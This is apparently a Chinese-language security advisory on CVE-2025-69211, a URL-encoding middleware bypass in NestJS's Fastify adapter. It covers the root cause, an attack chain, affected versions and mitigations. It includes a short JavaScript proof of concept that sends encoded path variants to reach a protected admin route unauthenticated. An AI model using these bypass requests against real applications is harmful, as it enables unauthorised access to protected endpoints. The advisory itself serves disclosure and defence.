IPBUF安全漏洞报告
English
CVE-2025-69211 CVSS 7.4 高危

CVE-2025-69211: NestJS Fastify URL编码中间件绕过漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-69211
漏洞类型
中间件绕过
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@nestjs/platform-fastify

相关标签

中间件绕过NestJSFastify认证绕过URL编码CVE-2025-69211Node.jsWeb安全高危漏洞

漏洞概述

Nest是一个用于构建可扩展Node.js服务器端应用程序的流行框架。2025年12月29日,NestJS官方披露了一个存在于@nestjs/platform-fastify中的安全漏洞,编号为CVE-2025-69211,CVSS评分7.4,属于高危级别。该漏洞的根本原因在于Fastify URL编码中间件绕过。当使用@nestjs/platform-fastify作为底层适配器的NestJS应用程序,通过NestMiddleware或MiddlewareConsumer配置安全检查中间件(如身份认证、授权验证等),或者通过app.use()方法注册中间件,并将这些中间件应用于特定路由(如使用.forRoutes('admin')指定管理后台路由)时,存在被绕过的风险。攻击者可以通过构造特殊的URL编码请求来绕过中间件的安全检查,从而实现未授权访问受保护的路由、获取管理端点访问权限,或跳过中间件执行的清理和验证逻辑。此漏洞影响所有在11.1.11版本之前使用@nestjs/platform-fastify的应用,建议受影响的用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞源于@nestjs/platform-fastify在处理URL编码路径时的中间件注册逻辑存在缺陷。当开发者使用MiddlewareConsumer配置中间件并指定特定路由时,例如.forRoutes('admin'),NestJS会尝试将这些路由的保护逻辑应用到Fastify的路由上。然而,由于Fastify的路由匹配机制与Express存在差异,攻击者可以通过在URL路径中使用特殊编码字符(如%2f表示/、%20表示空格等)来构造畸形的请求路径。当Fastify接收到这样的编码请求时,可能会将其解码后与中间件绑定的路由进行匹配,但由于中间件是针对原始路径字符串注册的,导致安全检查被绕过。攻击者可以利用此漏洞绕过认证中间件直接访问受保护的管理接口,或者绕过输入验证和清理中间件进行恶意操作。漏洞的技术根源在于NestJS的中间件注册机制没有正确处理Fastify的URL解码行为,使得通过路径编码技巧可以轻易绕过安全控制。

攻击链分析

STEP 1
步骤1
侦查阶段:攻击者识别目标应用使用@nestjs/platform-fastify作为底层框架,通过检查HTTP响应头、robots.txt或其他信息泄露获取应用技术栈
STEP 2
步骤2
识别保护路由:攻击者确定应用中的受保护路由(如/admin、/api/admin等),这些路由通常需要认证或授权才能访问
STEP 3
步骤3
构造编码请求:攻击者构造包含特殊URL编码字符的请求路径,如将路径中的斜杠(/)编码为%2f,或使用其他Unicode编码变体
STEP 4
步骤4
绕过中间件:Fastify接收到编码后的路径后进行URL解码,但中间件可能绑定的是原始未编码路径,导致安全检查被绕过
STEP 5
步骤5
未授权访问:成功绕过认证/授权中间件后,攻击者可以访问原本受保护的敏感资源、执行管理员操作或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-69211 PoC - Fastify URL Encoding Middleware Bypass // Target: NestJS application with @nestjs/platform-fastify const axios = require('axios'); async function exploit(targetUrl) { console.log('[+] CVE-2025-69211 Middleware Bypass PoC'); console.log('[+] Target:', targetUrl); // Original protected endpoint that requires authentication const protectedEndpoint = '/admin/dashboard'; // Try to access without authentication (should fail) try { const normalResponse = await axios.get(targetUrl + protectedEndpoint, { validateStatus: false }); console.log('[-] Normal request status:', normalResponse.status); } catch (e) { console.log('[-] Normal request failed:', e.message); } // Bypass using URL encoding - encode '/' as '%2f' const bypassPaths = [ '/admin%2fdashboard', // Encode first slash '/admin/%2fdashboard', // Encode middle slash '/admin/dashboard%2f', // Trailing encoded slash '/%61dmin/dashboard', // Encode 'a' as %61 '/ADMIN/DASHBOARD', // Case variation ]; for (const bypassPath of bypassPaths) { try { const response = await axios.get(targetUrl + bypassPath, { validateStatus: false, timeout: 5000 }); console.log(`[*] Bypass path: ${bypassPath} -> Status: ${response.status}`); if (response.status === 200) { console.log('[!] VULNERABLE! Middleware bypassed'); console.log('[+] Response snippet:', response.data.substring(0, 200)); } } catch (e) { console.log(`[-] Bypass failed for ${bypassPath}: ${e.message}`); } } } // Usage: node cve-2025-69211-poc.js http://target:3000 const target = process.argv[2] || 'http://localhost:3000'; exploit(target);

影响范围

@nestjs/platform-fastify < 11.1.11
NestJS framework < 11.1.11 (使用platform-fastify时)

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 临时切换到@nestjs/platform-express作为替代方案;2) 在应用层前部署WAF(Web应用防火墙)过滤异常URL编码请求;3) 使用反向代理添加额外的认证层;4) 避免使用字符串路径配置中间件,改为使用控制器类和方法引用。但这些措施仅为临时解决方案,强烈建议尽快完成版本升级以根本修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表